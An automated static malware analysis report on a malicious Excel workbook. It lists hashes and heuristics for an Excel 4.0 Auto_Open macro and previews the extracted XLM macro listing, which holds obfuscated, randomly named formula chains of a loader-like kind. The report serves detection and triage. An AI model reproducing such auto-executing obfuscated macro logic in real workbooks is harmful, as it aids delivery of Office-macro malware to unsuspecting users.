Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 977fb207334e0651…

MALICIOUS

Office (OLE)

36.0 KB Created: 2020-11-27 11:39:38 Authoring application: Microsoft Excel First seen: 2020-12-25
MD5: 7faf9bc2407fefedb3ac643fd0fd51e6 SHA-1: 0f5c35b4c7c91bbd0bc39b52ad411d870e596039 SHA-256: 977fb207334e0651fdda53b9b748605cd9a502d31d67cd53653edc7995470ea5
142 Risk Score

Heuristics 4

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6887 bytes
SHA-256: f2dcba3edf76be4bc936303b1037abf0c93f0fde077d67b5e5ad1eb83bde9792
Detection
ClamAV: No threats found
Obfuscation or payload: likely
20 of 38 identifiers look randomly generated (e.g. 'gAbLRVYFcvTC') — consistent with name-mangling obfuscation.
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     20 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  OXTRdTWdhrf
' 0018     26 LABEL : Cell Value, String Constant - AQdSOeLdWLG len=0 
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!C140 
' 0018     23 LABEL : Cell Value, String Constant - BtDDJuLS len=0 
' 0018     27 LABEL : Cell Value, String Constant - cPjNYosuHIbE len=0 
' 0018     22 LABEL : Cell Value, String Constant - fPWmWpZ len=0 
' 0018     27 LABEL : Cell Value, String Constant - gAbLRVYFcvTC len=0 
' 0018     24 LABEL : Cell Value, String Constant - gJXNorxLp len=0 
' 0018     22 LABEL : Cell Value, String Constant - GVAjjOz len=0 
' 0018     22 LABEL : Cell Value, String Constant - HyVSvKz len=0 
' 0018     20 LABEL : Cell Value, String Constant - IErfE len=0 
' 0018     23 LABEL : Cell Value, String Constant - JmZbvJjV len=0 
' 0018     24 LABEL : Cell Value, String Constant - kUNvDducd len=0 
' 0018     20 LABEL : Cell Value, String Constant - loiIh len=0 
' 0018     26 LABEL : Cell Value, String Constant - nDXQkBVcZyO len=0 
' 0018     27 LABEL : Cell Value, String Constant - psrDtrgilfpK len=0 
' 0018     26 LABEL : Cell Value, String Constant - qWwMOYOZhaM len=0 
' 0018     26 LABEL : Cell Value, String Constant - rvSJXLOTpRr len=0 
' 0018     23 LABEL : Cell Value, String Constant - ScQfFaoI len=0 
' 0018     27 LABEL : Cell Value, String Constant - TFeADQLMmyyD len=0 
' 0018     22 LABEL : Cell Value, String Constant - XcGFlxN len=0 
' 0018     21 LABEL : Cell Value, String Constant - YZZWyc len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  OXTRdTWdhrf,C53,"SET.NAME("gJXNorxLp",0+VALUE("0"))",""
'  OXTRdTWdhrf,C57,"SET.NAME("AQdSOeLdWLG",gJXNorxLp)",""
'  OXTRdTWdhrf,C61,"SET.NAME("XcGFlxN",gJXNorxLp)",""
'  OXTRdTWdhrf,C65,"SET.NAME("rvSJXLOTpRr",COUNTA(psrDtrgilfpK))",""
'  OXTRdTWdhrf,C68,"SET.NAME("gAbLRVYFcvTC",COUNTA(qWwMOYOZhaM))",""
'  OXTRdTWdhrf,T69,"",4.00000000000000000000
'  OXTRdTWdhrf,C70,[],""
'  OXTRdTWdhrf,T70,"",-666.00000000000000000000
'  OXTRdTWdhrf,T71,"",545.00000000000000000000
'  OXTRdTWdhrf,T72,"",839.00000000000000000000
'  OXTRdTWdhrf,T73,"",294.00000000000000000000
'  OXTRdTWdhrf,T74,"",-168.00000000000000000000
'  OXTRdTWdhrf,C75,"SET.NAME("IErfE","")",""
'  OXTRdTWdhrf,C79,"AQdSOeLdWLG",""
'  OXTRdTWdhrf,C82,"SET.NAME("GVAjjOz",HLOOKUP("*",psrDtrgilfpK,AQdSOeLdWLG,FALSE))",""
'  OXTRdTWdhrf,C84,"BtDDJuLS",""
'  OXTRdTWdhrf,C86,"SET.NAME("YZZWyc",gJXNorxLp)",""
'  OXTRdTWdhrf,C89,[],""
'  OXTRdTWdhrf,C92,"YZZWyc",""
'  OXTRdTWdhrf,C96,"JmZbvJjV",""
'  OXTRdTWdhrf,C99,"kUNvDducd",""
'  OXTRdTWdhrf,C101,"nDXQkBVcZyO",""
'  OXTRdTWdhrf,C104,"SET.NAME("cPjNYosuHIbE",VALUE(HLOOKUP("*",qWwMOYOZhaM,nDXQkBVcZyO,FALSE)))",""
'  OXTRdTWdhrf,C109,"HyVSvKz",""
'  OXTRdTWdhrf,C113,"IErfE",""
'  OXTRdTWdhrf,C117,"XcGFlxN",""
'  OXTRdTWdhrf,C121,NEXT(),""
'  OXTRdTWdhrf,C123,"fPWmWpZ",""
'  OXTRdTWdhrf,C125,[],""
'  OXTRdTWdhrf,C130,"ScQfFaoI",""
'  OXTRdTWdhrf,C133,NEXT(),""
'  OXTRdTWdhrf,C137,RETURN(),""
'  OXTRdTWdhrf,C169,"SET.NAME("loiIh",C53)",""
'  OXTRdTWdhrf,C173,"psrDtrgilfpK",""
'  OXTRdTWdhrf,C176,"SET.NAME("qWwMOYOZhaM",R56C14)",""
'  OXTRdTWdhrf,C181,"SET.NAME("ScQfFaoI",191)",""
'  OXTRdTWdhrf,C185,"SET.NAME("TFeADQLMmyyD",3)",""
'  OXTRdTWdhrf,C190,loiIh(),""
'  OXTRdTWdhrf,C191,HALT(),""

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